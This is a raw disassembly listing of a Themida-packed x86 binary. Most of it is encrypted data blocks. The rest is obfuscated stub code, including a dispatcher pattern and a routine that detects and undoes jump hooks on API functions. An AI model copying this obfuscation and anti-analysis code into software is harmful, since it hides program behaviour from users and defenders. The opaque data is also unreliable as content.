dd 0E21086F2h, 0F22D74D1h, 0D76E1086h, 1086F2B2h, 0E7B86839h
dd 62B3103h, 7CFF34A4h, 55350A0Ch, 9C1B9A66h, 24122316h
dd 93DB7CA1h, 1F8E0916h, 0BD42BF2Ah, 2BC459Dh, 0B2610000h
dd 0C0E1955Ch, 86F2DC05h, 0A18E9F10h, 0FB22269Dh, 7A4B169Bh
dd 526521A4h, 4EF20BF9h, 90F3401Eh, 51F44A20h, 15E67989h
dd 0A973A374h, 0D2B82888h, 0D6E818E8h, 0BA0A001h, 0CBBF7920h
dd 0ABCBBA89h, 2F281F13h, 0BA17E988h, 5B951B1h, 22D9D18h
dd 474F73Ch, 0D141C271h, 4C7F2D4Ch, 0C44036AEh, 2C6h, 34C1318Dh
dd 6B0A7AFFh, 2CC939B4h, 740171F7h, 2ACB3BBFh, 0FF833E6Dh
dd 0B639E68Fh, 480AF46h, 0D1320194h, 1B439461h, 9BE761A8h
dd 0B18B0C16h, 3BBF0BABh, 0F2266BDAh, 0F4C51086h, 194003DBh
dd 0E41086F2h, 63E2FCD3h, 16A40636h, 0C9EAF4C5h, 0F7E5F969h
dd 9BE6054Ch, 5FE6E816h, 169BE63Ah, 2BDFF0C1h, 0FF6FD360h
dd 0E6123CB7h, 0E546169Bh, 0E698C184h, 5263169Bh, 287BA07Dh
dd 0CAECB7D4h, 2416Ah, 44B41200h, 8FFF82B1h, 4CBC39E6h
dd 86F67AA9h, 52C240EFh, 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h
dd 0DD522393h, 0BC07EE5Eh, 0E7EE3392h, 0C8D169Bh, 0DB0BAB30h
dd 4003D903h, 1086F219h, 8C37D3E4h, 16A4064Dh, 9C171F30h
dd 169BE671h, 78FB38FEh, 88376208h, 0C5323CC1h, 174C49Dh
dd 4FD80000h, 7D6DDD62h, 77BF2F8Ch, 0FC99096Ah, 3CBE0AAEh
dd 68DBE3CCh, 169BFB30h, 4BAAECBDh, 1693FB02h, 0B09944EBh
dd 9DBD274Dh, 20D3h, 0BABE700h, 0F04003DBh, 8D169BF5h
dd 0D2FB7ABCh, 9B1693F1h, 0FD80C9F4h, 839DBD1Ch, 0C7h
dd 57C72497h, 80F0525Fh, 0AE1E9D96h, 88F87B68h, 0F15061EDh
dd 7BB89581h, 0B38C8AFAh, 0F783ECD7h, 16951086h, 17E7CFA6h
dd 0AC05D7E7h, 3059EC4Dh, 0BB1086F7h, 0FCD1C5EAh, 9F61AF0Eh
dd 0F18169Eh, 62EC8E5Dh, 567B4AEAh, 15169124h, 87E82B04h
dd 0D263817h, 0CB583DADh, 0EF26F767h, 6CB7D965h, 130EA4Ah
dd 0A3230000h, 6CCD6233h, 0AB0A19FCh, 63C55A3Bh, 0AD0D22F3h
dd 4843583Dh, 9065D555h, 0C9AC1CA3h, 8B6ADA5Ah, 0CEA71794h
dd 276AD905h, 0C6169BE4h, 624FF745h, 72486FDFh, 0C86A9BD0h
dd 0A22011F9h, 0E5F76332h, 86073B5Eh, 58D5C210h, 0FED1AEE8h
dd 109C1F0Ch, 876E41B1h, 0E72A99C3h, 86108607h, 245DD5B5h
dd 47B73BC7h, 0D0F5864Fh, 627FCBB4h, 825C624Dh, 86B49EC3h
dd 9E4C5D10h, 90008370h, 0EC3590CEh, 21086B4h, 34090D7Dh
dd 0C4CFBB8Ch, 4C1242F6h, 9C07B679h, 0DAE4B516h, 0CE959D9h
dd 936464A9h, 62B0A516h, 7F72CBFAh, 0AB84F475h, 0ED9D0D68h
dd 0A64FBF3Ch, 8D89F979h, 7125h, 0BAB0100h, 154003DBh
dd 0E816A406h, 6ED507D7h, 169BE62Bh, 0D343A5D2h, 13200EFCh
dd 7EB540B0h, 2A898DFDh, 5A251472h, 76517CE3h, 6EF085F5h
dd 9377E745h, 11B41596h, 4148D1C8h, 4EB1E2B3h, 0C8E7D8DEh
dd 67DE00CEh, 4148D622h, 402F960h, 0FDA3D30Ah, 6BCD3E2Ch
dd 0AEE858DFh, 0BDB8FED1h, 566614Ch, 0D0330095h, 3CE3660h
dd 0EA000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
db 7Ah, 3Ch, 78h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 0F5Ch
mov [esp], ebp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push 61D1462h
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push edi
mov edi, ebp
push edi
pop dword ptr [ecx+8]
pop edi
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_581882
; ---------------------------------------------------------------------------
cwde
sar dword ptr [eax+61D1854h], cl
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 4Bh, 0BCh, 2Eh
dd 73DBE11Ch, 0D2C6FA50h, 7F4EA91Ah, 0E9198D77h, 0FC07C73Fh
dd 0BFD4FA4Ch, 6FB85F1Ah, 0DB6E987Eh, 1E454427h, 67B13467h
dd 4F8FDA70h, 353DBA52h, 41BB9C2Fh, 3D45C872h, 0A51C8D6Dh
dd 9B30F02Ah, 8D3D342Eh, 7CB3E618h, 0EDD6FD11h, 296A7A4Bh
dd 0D189EE59h, 230B486Dh, 0AD7D6C6Ch, 0D6986500h, 89E5AD0Ch
dd 1CB8985Ch, 0EDE95Eh
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5FB366 proc near ; DATA XREF: Themida_:0057C690o
pusha
mov ax, ds
test al, 4
jz loc_5FB451
mov esi, [ebp+615293Dh]
cmp esi, 0
jnz loc_5FB3A3
mov byte ptr [ebp+61509C5h], 45h
push 8E726969h
push dword ptr [ebp+6151685h]
lea eax, [ebp+61872BCh]
call eax
mov [ebp+6152669h], eax
mov esi, eax
loc_5FB3A3: ; CODE XREF: sub_5FB366+15j
cmp byte ptr [esi], 0E9h
jnz loc_5FB3DD
lea eax, [ebp+61A9620h]
call eax
mov edi, [ebp+6150B8Dh]
add edi, 1184h
mov esi, [ebp+615293Dh]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+615293Dh]
lea eax, [ebp+618BF13h]
call eax
loc_5FB3DD: ; CODE XREF: sub_5FB366+40j
mov esi, [ebp+6150DFDh]
cmp esi, 0
jnz loc_5FB40E
mov byte ptr [ebp+61509C5h], 54h
push 0FF4EBEF4h
push dword ptr [ebp+6151685h]
lea eax, [ebp+61872BCh]
call eax
mov [ebp+6150DFDh], eax
mov esi, eax
loc_5FB40E: ; CODE XREF: sub_5FB366+80j
cmp byte ptr [esi], 0E9h
jnz loc_5FB451
mov esi, [ebp+6150DFDh]
lea eax, [ebp+61A9620h]
call eax
mov edi, [ebp+6150B8Dh]
add edi, 1184h
add edi, 8
mov esi, [ebp+6150DFDh]
xchg esi, edi
mov ecx, 8
rep movsb
mov esi, [ebp+6150DFDh]
lea eax, [ebp+618BF13h]
call eax
loc_5FB451: ; CODE XREF: sub_5FB366+6j
; sub_5FB366+ABj
popa
retn
sub_5FB366 endp
; ---------------------------------------------------------------------------
lea eax, [ebp+61D1937h]
mov [ebp+6152C61h], eax
lea ecx, [ebp+61D1B09h]
push 0
push eax
call sub_5FB470
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5FB470 proc near ; CODE XREF: Themida_:005FB468p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5FB470 endp
; ---------------------------------------------------------------------------
dd 65698DE3h, 52FFC2D8h, 27218D89h, 0BF0F0615h, 0CD85C7C3h
dd 0BC061504h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 1C44C356h, 82A2BEE3h
dd 0BF2CA78Ah, 67576D95h, 2A36BA66h, 111585C7h, 615h, 81660000h
dd 0FF2739E6h, 152E0DB5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0F4104C39h
dd 8D260B08h, 2D8D890Eh, 0FF061517h, 1502C995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0E9D1AEDAh, 0EC17BB43h, 0FF006A74h, 152E2195h
; ---------------------------------------------------------------------------
loc_5FB538: ; DATA XREF: Themida_:0057B15Co
push es
mov eax, eax
jmp short loc_5FB5B9
; ---------------------------------------------------------------------------
db 6Eh, 94h, 53h
dd 0B216101Eh, 0C68B2923h, 4CFD58CFh, 3CA38994h, 342E5424h
dd 0BCD0CA34h, 0FB733332h, 2125330Ch, 0F3299B59h, 0F18769DFh
dd 0D5954214h, 0E39300F7h, 7081F4E7h, 0E04FDCB6h, 0D9E698A1h
dd 9067661Ch, 0D6D68688h, 0E596FFE6h, 186BE7E0h, 0A3087C4Eh
dd 0D0168EEDh, 0A99DADE8h, 8713F2CEh, 39A79DCBh, 0E4950B6Dh
dd 27A29551h, 5FC3C647h, 67846EBh, 0A1506E10h, 0CE50B568h
db 7Bh
; ---------------------------------------------------------------------------
loc_5FB5B9: ; CODE XREF: Themida_:005FB53Bj
jmp loc_5FB5EE
; ---------------------------------------------------------------------------
dw 8F06h
dd 74521D12h, 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h
dd 5 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5FB5EE: ; CODE XREF: Themida_:loc_5FB5B9j
jmp loc_5FC823
; ---------------------------------------------------------------------------
push 61D1E08h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D1F1Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D216Dh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D2284h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D25B2h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D2680h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D26BFh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D27E5h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D28A4h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D28F9h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D2AF6h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61D2C06h
jmp loc_581882
; ---------------------------------------------------------------------------
db 60h
dd 909F76E6h, 0FF34C131h, 0B8670E7Eh, 0F62DC838h, 3A710474h
dd 4CBC3E71h, 85F57AA9h, 51C143F0h, 9C0C6FC4h, 4500CEF9h
dd 169BEE1Ch, 241E1EDFh, 525F57C7h, 805789F1h, 8F1D12F6h
dd 0BB94BB2Bh, 9E06667Bh, 0E0E14640h, 0EA2C03C0h, 381D3F0Bh
dd 47BD0070h, 2267DEE2h, 0C91086E9h, 38A712F8h, 0A2BC2C8Fh
dd 7866D5B5h, 2F96771Eh, 1086BEEAh, 8FAF8091h, 86BEED34h
dd 0CBBF9010h, 9F0F73C0h, 5ACA29F6h, 83E4475Ch, 86BE99C0h
dd 0E151D710h, 5768D8B5h, 690D9D78h, 6A9E2539h, 0F3169BB7h
dd 94171C22h, 8401F224h, 0E54F3B14h, 93A73F5Eh, 0E8F6C816h
dd 93A7345Dh, 4E6B716h, 0C227228Dh, 4A9DBD72h, 34h, 0BF0BAB5Eh
dd 0D7E7C838h, 9BF5CC6Ch, 28847116h, 0AE817EB8h, 0F1C00D68h
dd 97161693h, 8202EF27h, 78212412h, 852C9E45h, 1D8AEF5Ah
dd 2C129DBDh, 26000001h, 0B65FC724h, 0EC3435EAh, 0CD14AF8Fh
dd 0B01086E3h, 9886B09Fh, 7B552CBFh, 805EE247h, 862D9CC5h
dd 9C4E5F10h, 9B9B0B6Fh, 81B52586h, 0D2A31370h, 0BAB34F88h
dd 785FCF2Eh, 0FDC10FE4h, 86E90346h, 31D9EA10h, 86EC6892h
dd 8FFF7C10h, 4ABA39E6h, 0EA1ADE4Ch, 25A971D4h, 4B54169Ch
dd 8F369398h, 16936D4Ah, 9E576031h, 0C69A3D92h, 6E0CD709h
dd 1F876E41h, 220F2F5Fh, 45A30A0h, 8B0EFE41h, 35907D10h
dd 0D3FCD1C5h, 380BD10Bh, 1CABCE11h, 0E78ED3DCh, 0D7704C2Dh
dd 0A12112F8h, 28271740h, 0F159B8C6h, 0AB970D54h, 0F0DFF01Ch
dd 0F363C5EEh, 43A77C17h, 70D1E2h, 0AB977CA5h, 0AD12FF1Ch
dd 603D123Dh, 0B1C3DCC1h, 4C3094A2h, 2C00000Fh, 9C9362D2h
dd 5BC8AD1Dh, 948B6ADAh, 62D1A414h, 6A570E0h, 38A80A85h
dd 0F161C65Dh, 3DAD0F24h, 0F868CB58h, 21A4AA1Dh, 169BECF8h
dd 243A0283h, 2B8856C6h, 35015EC6h, 0ED3348A0h, 5703D4C2h
dd 350F5687h, 8CAE89A6h, 0BCE01DA3h, 5A048F7Bh, 3066D659h
dd 0FD7EAB5Fh, 0AB44E88Dh, 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh
dd 1693F1D2h, 80C9F49Bh, 9DBD1CFDh, 0E083h, 0C7249700h
dd 0F0525F57h, 6BC89680h, 0C9F49606h, 1086F7A7h, 2BCA3AB9h
dd 0F0777F4h, 99A5D5A9h, 0E72A99C3h, 861086F7h, 22E6D5B5h
dd 0CB169C00h, 0EB173A09h, 0C5D61693h, 3B0AD4EAh, 1693EB16h
dd 930DCCD5h, 0B6D03FA0h, 14A2F199h, 92A3464h, 2B9B1EAAh
dd 0F93D12EBh, 75D06604h, 108B74A5h, 0D040BDF6h, 9D01E9E6h
dd 0FE81B28Ch, 845ADC8Eh, 0DA69CA2Fh, 1CAB66B7h, 4C4A6536h
dd 4A65D557h, 9F0F73A0h, 3DC929F6h, 724B4BBBh, 0AE1BC05Dh
dd 2A4CB1C3h, 0E3ACAh, 50C03E00h, 9B0B6EC5h, 58C825FAh
dd 920266BDh, 5ECE2C03h, 0F8ABE0B7h, 0B46B0A7Ah, 0FD32C333h
dd 0B9660F7Fh, 982BCA3Ah, 0EDCA0FB6h, 30B1169Bh, 5EC6240Ch
dd 9BCC34DDh, 680D2212h, 51AC38BBh, 0DBD8B5E1h, 2DC8E757h
dd 57C724FFh, 2587D5Fh, 342BAB18h, 57565E82h, 12F59380h
dd 0AC38BB78h, 0EEF0DF4Fh, 0C1F565C5h, 724F1ECCh, 1086332Bh
dd 0A74EBE3Dh, 2B9AFB78h, 108633E6h, 9B9BB485h, 81B52586h
dd 0E7E0CFC6h, 878F884h, 0A70C4E27h, 0C101D646h, 6E2FECFBh
dd 94199476h, 1C97A851h, 0ADh, 31A12112h, 4432A526h, 0E783872Ah
dd 0BF0BAB33h, 0DCE2CD3Dh, 0DF7FD502h, 93C00A9Eh, 7BCCCF7h
dd 7041169Bh, 0F79EBF46h, 0B0671690h, 22E14CFDh, 30819DBEh
dd 968664D4h, 71h, 0F296B672h, 0BCF51086h, 751BCF3Fh, 0F6CD91C1h
dd 169C0A3Eh, 0C3876E3Fh, 0EBE72A99h, 0C4861693h, 93EBD801h
dd 0BD92A316h, 52DE5CCDh, 65517EEEh, 50D723D3h, 54EFCFE0h
dd 108EE28Ch, 5ED5A071h, 66286EDEh, 0DBA0DC71h, 0D3ACEA5Ah
dd 0D5A0D804h, 8BBB7B35h, 2988A9B3h, 0EA807DB9h, 0B69CA3BBh
dd 4D11221Ah, 201686E4h, 94303B2Fh, 935h, 0E30BABA8h, 1225F386h
dd 98A68928h, 9BA8352Dh, 5FDDD616h, 8A9BFBEFh, 93E4298Ch
dd 26911693h, 7F2792B7h, 0DAD9DBDh, 89000000h, 86F297B6h
dd 0CC3FE510h, 5BFFFFFBh, 93B68D4Fh, 5A1086F2h, 47F7A149h
dd 0FD52821Fh, 330C0A7Ah, 26F1AB24h, 567956C6h, 0D585BD88h
dd 0F1E6169Ch, 55DFD1FCh, 0A1E85B73h, 4C1693BCh, 2B6547Bh
dd 5F7E0531h, 281693BCh, 9E0B3E71h, 409DBD6Ch, 0F62090F3h
dd 0F2D17119h, 0E5000004h, 0B1F2864Fh, 0A4BD3EB3h, 86B0F821h
dd 9DB28310h, 5E57CAEDh, 0D5455780h, 2F8AB664h, 86C05376h
dd 61091A10h, 0B63B8737h, 587F5046h, 0A6D98BD4h, 4C123D57h
dd 9B9B9179h, 33CBDC16h, 59496E90h, 53509BCh, 81328A39h
dd 6233B946h, 318E7B5Ch, 50BAD51Dh, 4AEE7CBAh, 89EF441Ah
dd 4A201D19h, 20D051F4h, 9AABA370h, 9C0C6FC4h, 59C92AF9h
dd 0E98C09C4h, 0E0645201h, 0BE7h, 30C53591h, 670E7E03h
dd 28CD3DB8h, 700575FBh, 26CF3FC3h, 23873A71h, 0EA4DE2B3h
dd 28849B7Ah, 0E546DDB8h, 2737A075h, 9BD3759Ch, 0C577F816h
dd 0D7488D4Fh, 0E746F634h, 0E4A3E65Fh, 794A1086h, 0A545B53Ah
dd 0F77B0764h, 3E5BAF8Fh, 2E01D698h, 0F5975609h, 725D4046h
dd 0DA595A44h, 0A8F1546Ah, 5310869Fh, 4EF2A842h, 9F73962Dh
dd 29FA1086h, 1F1787EAh, 0F43D012Eh, 1888E975h, 8EF2FF37h
dd 827181Eh, 7D69DC62h, 169C77h, 0A2220F2Fh, 70CC6332h
dd 6AAF1600h, 16169367h, 169297F7h, 2684D070h, 0FEC599B6h
dd 108E5E12h, 0DD4DA809h, 7EB8892Dh, 0AC5DD6F7h, 949D9F1Ch
dd 916EA818h, 3A0FBEF9h, 0A3D2C8AFh, 1335h, 0BAB5100h
dd 404003DBh, 1D169BFCh, 29AA0A0Ch, 7E000000h, 9EE30BABh
dd 0FE861D37h, 0BB542025h, 0B7372E9Ch, 3AF51CA7h, 0A7781086h
dd 9F0FB688h, 0DE169B3Ah, 0B6E050B1h, 0BCC0F6D9h, 0C657C724h
dd 0BDF14209h, 0D0E46056h, 0A800000Ah, 0E837DE4Eh, 0A77C1989h
dd 0F03FD646h, 0DE552090h, 9209EC5Ch, 0D444A619h, 1D8DF241h
dd 0D949AB78h, 1484E73Ch, 0BD885681h, 169BD094h, 4FA69657h
dd 0A894ED86h, 0C0FFD848h, 7D33D700h, 0A0106DB9h, 8414AF8Fh
dd 0F9169C36h, 76F5EE28h, 77FB3806h, 41B10C07h, 5E80CAA9h
dd 93A5A2E7h, 5F784916h, 2F16B297h, 7924C65Eh, 31C747D5h
dd 34C1F192h, 0BC82B286h, 1B858C9Bh, 0E1D2ED53h, 0C9C6F060h
dd 34A81B21h, 393BFB20h, 0B4352E68h, 3509B144h, 0B8248CE9h
dd 72893D30h, 2FB3B14h, 0A6B2112Dh, 0D725EE70h, 2875D0C6h
dd 0D5290C67h, 53D6735Ah, 0D9D132B3h, 142h, 0E30BABADh
dd 6FE52FFh, 31B89FC4h, 80F77CABh, 9FBD81AEh, 74BF2F92h
dd 0B6E585F5h, 169C27DAh, 8FA492A3h, 4AD9BC2Ch, 4F3D79E9h
dd 0C382E362h, 1693B79Eh, 33634C5Dh, 604FBF3Eh, 69731B8Ah
dd 66531C7h, 0AAB7A096h, 0A489098Ah, 2393171Ch, 0B82792F3h
dd 0CFFE652Bh, 330B7BF8h, 1FD49E22h, 0AE0B779h, 0C737B46Bh
dd 64A874CFh, 40C01AB2h, 6ACDE6D0h, 0DBB4D202h, 0D7F84FE9h
dd 0F5E84FDFh, 820346FDh, 0D9EA442Dh, 7766CFF6h, 0F283F350h
dd 484EBE3Dh, 0CFEF1FE2h, 2D74CF0Dh, 0D0442D82h, 9B00BFFh
dd 34442D82h, 4076E647h, 795E604Fh, 55746239h, 0FB9A707Dh
dd 3DB0BABh, 374D1440h, 0DED8E942h, 5ADA66C5h, 0FCD3ACEAh
dd 0FE6ED1E2h, 4823C7B8h, 0DC4CAD06h, 0E7EFD2Eh, 0AD1CAD08h
dd 0F5A44A46h, 0E7EFDCAh, 75E94A67h, 0C182DE1Bh, 0CC2F0491h
dd 0CF31825Ch, 281AB5Fh, 59DA0F0Fh
dd 0BF08B73Eh, 0C1F2CC3Ch, 5736D444h, 5EDF6BC8h, 63D5C1EEh
dd 815B6393h, 0AB5FCF30h, 0C02D1410h, 86586943h, 92A4ED58h
dd 7E474BF7h, 96FE56AFh, 17200FF4h, 0F49411F5h, 9AF99153h
dd 6716h, 0BABF200h, 0F2365BEAh, 0E4B51086h, 4EBE5D3h
dd 0CCE350CAh, 0A15753F2h, 9AC4169Bh, 9395E62Bh, 1D988516h
dd 0B8E882ADh, 3FC2AFE7h, 30448AD7h, 93A34C95h, 391E2F16h
dd 4669C63Ah, 2186ABAFh, 5A7CD9B1h, 0E48552D4h, 0D2F7CE6Fh
dd 9916939Dh, 3DC1AF88h, 64D45B58h, 3AD5D32h, 8B3A0434h
dd 1693384Eh, 14181C2Dh, 0BE57C724h, 461848F8h, 0E5533F18h
dd 436BA2D2h, 6344FCA7h, 3809169Ch, 23AF0D26h, 43B3119Dh
dd 7A557A53h, 0B828849Bh, 1EA3907Eh, 0F39768AEh, 0F5C9F9BDh
dd 8988564Eh, 106CC510h, 98B72784h, 0E1FDCEF2h, 0E98CC4F4h
dd 0C8A24903h, 74A6E74Eh, 7F3F1CADh, 0BF426F4Fh, 5A5CCC33h
dd 734C4A65h, 12FEC597h, 6B1AB17Dh, 0B4D95C5Ah, 4102B962h
dd 44B4367Bh, 862E2773h, 0C9A12308h, 0FF6ADFCEh, 85A9E719h
dd 1Ch, 45864FA1h, 2C726405h, 65197F6Bh, 2E9A2935h, 2F169B0Dh
dd 169C181Eh, 70000000h, 3DB0BABh, 9BF24C40h, 85E41116h
dd 240B7BF9h, 4321DF2h, 0DF624FF8h, 2D8E7B6Fh, 4219E0BDh
dd 2C4ABDF1h, 7A2C8h, 0E858D600h, 2393160Dh, 0F060DD52h
dd 3AAA0E25h, 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh
dd 12EC737h, 50831282h, 0D792B78Eh, 9859169Bh, 935EB2A4h
dd 0B1ABB3E3h, 20A30480h, 1086F2F9h, 9A9CB384h, 72D6C5A5h
dd 0FB169BFBh, 0C7CF839h, 93F87099h, 8A39FB16h, 1693F847h
dd 153A1526h, 0C6573A89h, 7010D4D8h, 6B597E40h, 6CDC5EECh
dd 904FA4Bh, 0A068DB61h, 4DDEC7B0h, 5C73E360h, 0F30D05Ah
dd 0F63C6DB4h, 103F10DEh, 9F23104Eh, 7416E72Fh, 0ECE35C49h
dd 92F21FD8h, 181BF422h, 14E92D9Dh, 0AD0E233Bh, 0B110213Dh
dd 92785541h, 0D95A5703h, 8E502D69h, 0FB92B7h, 0A24859C4h
dd 0DBA21271h, 0E96B3912h, 0D4E35F55h, 0A4000006h, 0E43BDA4Ah
dd 0B3801585h, 1C13E252h, 0DA492C9Ch, 8E0DE858h, 0B020A21Dh
dd 79E94EE5h, 0B525879Ch, 80F053E0h, 49FCE2F5h, 169BD400h
dd 24122AEBh, 67C657C7h, 74BDF144h, 6950282h, 63E30000h
dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh
dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h
dd 6169BD4h, 0C724B785h, 6649B93Bh, 0C6F6CA30h, 0DE74DF8h
dd 0F2416A4h, 7F83EAEh, 0D2713363h, 169BE98Fh, 51C1416Eh
dd 0BCE5607Eh, 3F169BE9h, 6B4416Eh, 6FB21132h, 0E169BE9h
dd 794C123Dh, 10810481h, 38BBFBCCh, 1CB4BB15h, 4302DCE2h
dd 1CB4BB1Eh, 731ECCDDh, 2F8DA64Ch, 0BBD2F7CEh, 88991CB4h
dd 65C8C3A7h, 0EBA3DA67h, 0C2h, 0D31DF4E1h, 6A25CBC0h
dd 9284734Dh, 26C46C2Dh, 945DB2EEh, 0B4AAB4E4h, 0F2F61BAAh
dd 0A4751086h, 0FB73D7C6h, 29FA169Bh, 30A01C15h, 1B610906h
dd 9B0E1BA8h, 2C5C1CD9h, 86E74C12h, 3B2F2016h, 80064C60h
dd 47A4D1C3h, 0CDE6F8D7h, 0A6BBFB6Bh, 12F8D747h, 0AE1D3A24h
dd 281B3D29h, 0EB2E882h, 0E2CD3DC2h, 0E454D7DCh, 94953006h
dd 0E7CDAEB1h, 9EB60FDEh, 634C60D5h, 65D5565Bh, 0B020A390h
dd 0A71784EDh, 0D9595BDCh, 56Fh, 583DAD09h, 1FF666CBh
dd 0B045B510h, 0E88DFD83h, 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh
dd 80FC33C2h, 4DAE8510h, 0BF8F38DDh, 9BD5DD04h, 5DDFA016h
dd 0BAB5h, 8D4FD100h, 0EF56C624h, 1086F2AAh, 0F0AA4051h
dd 0A71E2050h, 16A40D91h, 7AB78798h, 37EC89F9h, 647A44B4h
dd 9BE9B8E1h, 98724316h, 3C6C0C9Eh, 73F73C22h, 643C6703h
dd 87108119h, 0D9ABEE55h, 41521CB4h, 61344076h, 62083EEDh
dd 9FB753Eh, 40EBA1DAh, 248D4F6Fh, 0A8F154C4h, 531CB4EBh
dd 0A06EA842h, 0EBC207BEh, 98A91CB4h, 0C8F8C8F2h, 0CB3BBDF6h
dd 4618F2CBh, 0AE19237Fh, 94693A1Ah, 0ABAA1D25h, 0B03CB8BEh
dd 0C8000004h, 817FE6Eh, 0C75C39A9h, 101FF666h, 7EB540B0h
dd 0B2E98CFCh, 0F464C6F9h, 3DAD1221h, 0F969CB58h, 34A4071Ch
dd 0DD687661h, 169BDAB4h, 0B686B637h, 1086F293h, 86F23E5Fh
dd 0D707B710h, 0DF63C07h, 0A67716A4h, 90008370h, 0D429980Dh
dd 0DD654FB7h, 45Bh, 6431A11Dh, 1BFA6ACFh, 5C39A904h, 24F161C7h
dd 5A3BAB0Fh, 0EF534E3Dh, 2689967Fh, 0F450DFB6h, 0C142F184h
dd 4B13C451h, 9BDA5178h, 0E15B1C16h, 72E2624Fh, 729F4B44h
dd 375A111h, 6EB31233h, 801086F2h, 0A9A69000h, 0AD1826F7h
dd 1086F264h, 45193607h, 9BF9127Eh, 0DA696B16h, 1693F5B7h
dd 0F40FCCDh, 9B05647Eh, 0C811B48Ah, 0B31693B3h, 0EBF1CDE2h
dd 93B03158h, 0A6EB5A16h, 451693B0h, 5DDFCC74h, 0FBD4A9EDh
dd 0BA41840Fh, 0B4170A40h, 2FC636h, 96241282h, 0ACA9B5E5h
dd 1C1C8889h, 92E1898Ah, 57C724A6h, 81F1525Fh, 0C2F2C6F4h
dd 49FCE2FCh, 1086F200h, 9530DAEBh, 169BFB5Dh, 83F375BEh
dd 0F0D0BA93h, 4EB2FFDFh, 1C022CDEh, 8BEA13Bh, 98723BD3h
dd 933BE02Dh, 6AC78D16h, 0F821A405h, 8316933Bh, 0AC999DB2h
dd 610AC9BBh, 3B2F0035h, 5DE06954h, 0E39DBDA0h, 38h, 0DB0BABB7h
dd 0F5F04003h, 0BC8D169Bh, 8083B5A2h, 280F7FFEh, 0FED9764Ch
dd 0ECBABDh, 3FED9D96h, 66D6545Dh, 51F41984h, 16811693h
dd 0BD17A2A7h, 79D9DBDh, 79000001h, 8757C724h, 955EC62Ah
dd 0B6D81408h, 86B05A75h, 0AA1A9B98h, 0EE9C0C69h, 494DBD3Dh
dd 536BDB58h, 7297BA89h, 45561086h, 8CA567A5h, 827BBB2Bh
dd 67C82BE8h, 8672B5DCh, 48673810h, 77E608ADh, 79FA1086h
dd 34B76C09h, 3CB9FAC4h, 15F5CACCh, 35273517h, 86774B8Eh
dd 0C4613210h, 1086779Dh, 61D13360h, 42F69C4Eh, 0B5794C12h
dd 56169B71h, 7A94BD88h, 4E571693h, 7B4070A1h, 0F595BADDh
dd 0C5EEF0C1h, 44DFF868h, 2DB06308h, 2E303B2Fh, 234A405h
dd 83335D0Dh, 90B88B53h, 5D108B84h, 6B6C724Ch, 3EC354E4h
dd 9495757Bh, 60CFA616h, 882E7AE2h, 94130D7Fh, 285BE2BBh
dd 7680B1C5h, 25E0Eh, 2C9C1A00h, 0E757DA49h, 34A4210Eh
dd 0FE6ED261h, 3AAA0817h, 544F3C5Bh, 0A08F66D6h, 59C6AF1Fh
dd 958A6BDBh, 4CFA616h, 0D8266BDAh, 44C5169Bh, 65C624F8h
dd 86F2BBDEh, 5E714210h, 9B0B68B7h, 0BAB2EFAh, 0F04003DBh
dd 8D169BF5h, 0D2FB7ABCh, 9B1693F1h, 5B16BC99h, 0EF285897h
dd 202994FBh, 9DBDCF9Dh, 0FC23h, 8D4FF700h, 86F293B6h
dd 0A1495A10h, 9BA31370h, 13059ABAh, 86648FCDh, 0A7179B88h
dd 6AEA146Fh, 8291086h, 4F93DADh, 0DE46A566h, 1F06FF1h
dd 0A6FA4ABh, 8CA39C9Ah, 1D58A5B2h, 5A3E63E2h, 0ECBD1086h
dd 38D2A9CBh, 8FEC4352h, 0ED91171Fh, 9ABBA1BDh, 44C0FA45h
dd 0CAEDE2D4h, 38D2D133h, 9B2AA18Dh, 4302C416h, 1693131Eh
dd 12E3CCDDh, 9AA4D4A4h, 1783E8BDh, 1AF32393h, 0B7DE6C3Dh
dd 71C281D3h, 108B7Ah, 0A0220F2Fh, 0AF045A30h, 7879E34Bh
dd 442A6180h, 15958A6Bh, 0D147D8A5h, 9E98B1C3h, 14E16h
dd 5CCC2A00h, 97076AB9h, 64D431FEh, 0AE1EA291h, 6ADA58C7h
dd 249F0C8Bh, 70BF56C6h, 29F69F0Fh, 65BA5BCBh, 0D4FF9606h
